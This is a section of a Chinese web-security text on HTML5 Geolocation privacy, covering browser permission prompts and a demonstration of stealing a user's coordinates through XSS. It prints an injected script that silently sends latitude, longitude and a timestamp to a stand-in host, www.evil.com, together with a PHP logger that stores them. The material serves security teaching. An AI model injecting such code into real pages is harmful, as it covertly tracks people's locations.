返回介绍

8.4 地理定位暴露你的位置

发布于 2024-01-20 15:41:03 字数 1995 浏览 0 评论 0 收藏 0

现在在网络中常常会遇到这样的场景:我们需要查看周边有什么特色景点或者是特色餐饮,那么使用HTML5 Geolocation API(地理定位API),就可以请求用户共享自己的地理位置,如果用户同意,程序就可以定位到用户的地理位置,然后把附近的景点或餐饮位置发送给用户。

通过上面的这个例子可以看到,用户获取附近景点和餐饮信息的前提是必须共享出自己的实际地理位置。正常状态下,对用户共享出来的地理位置,网站程序都是绝对保密的。但是,恶意的攻击者也会通过这种技术获取到用户的地理位置。下面将要讨论HTML5中Geolocation API自有的隐私保护机制,以及地理位置遭到泄漏的可能性。

8.4.1 隐私保护机制

HTML5中的地理定位有自身的一套隐私保护机制,如果用户不同意,就无法获取用户的地理位置。

如图 8-2 所示,xeye.us/whereareyou.html 是一个可以获取用户地理位置的脚本程序。当用户打开后,在浏览器上会有提示“xeye.us要跟踪您的地理位置”。用户可以根据自己的实际情况选择允许或拒绝跟踪自己的地理位置。

图8-2 获取地理位置的权限提示

当用户单击“允许”按钮后,就可以定位到用户的实际位置,如图8-3所示。

图8-3 获取到的地址位置

这套隐私机制完全由浏览器控制。上面这个例子中使用的Chrome浏览器,只要在支持HTML5的Geolocation API的浏览器中,都会有是否允许或拒绝跟踪地理位置的信息提示。除了询问是否允许共享地理位置外,浏览器还会选择性地提示用户是否需要浏览器记住这些网站的设置权限,以便下次再访问的时候直接选择共享地理位置,而不需要再次提示。这个功能有点类似浏览器记住密码。用户对于记住共享设置的功能需要注意,尤其是用户选择了允许共享地理位置,这有可能使用户一直暴露自己的地理位置。

对于网站应用程序来说,安全地接收和存储地理位置数据,清晰地提示用户存储地理位置的原因和时效,都是对用户隐私数据的有力保障。

8.4.2 通过XSS盗取地理位置

如果获取地理位置的页面中存在XSS漏洞,那么攻击者就可以注入恶意代码获取到用户的地理位置信息。

注入XSS代码如下:

<script>
  var today = new Date().toLocaleString() + ' 星期' + 
        '日一二三四五六'.charAt(new Date().getDay());
  document.getElementById('remote').src  
    =  "http://www.evil.com/test.php?txt=" + today + "------" + 
     encodeURIComponent (position.coords.latitude) + "," + 
     encodeURIComponent(position.coords.longitude);
</script>
<img id="remote" src="" width=0 height=0>

test.php代码如下:

<?php
$fh = fopen("file.txt", 'a+');
fwrite($fh,$_GET["txt"]);
fwrite($fh,"\r\n");
fclose($fh);
?>

当用户选择了共享地理位置后,地理位置的信息就会悄悄地保存到下列文件中:

http://www.evil.com/file.txt

我们在实际的攻击过程中发现,很多用户在这方面的意识是非常浅薄的,获取这类真实的地理信息比较容易。同时,结合原生的社工技巧,攻击成功的概率会更高。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文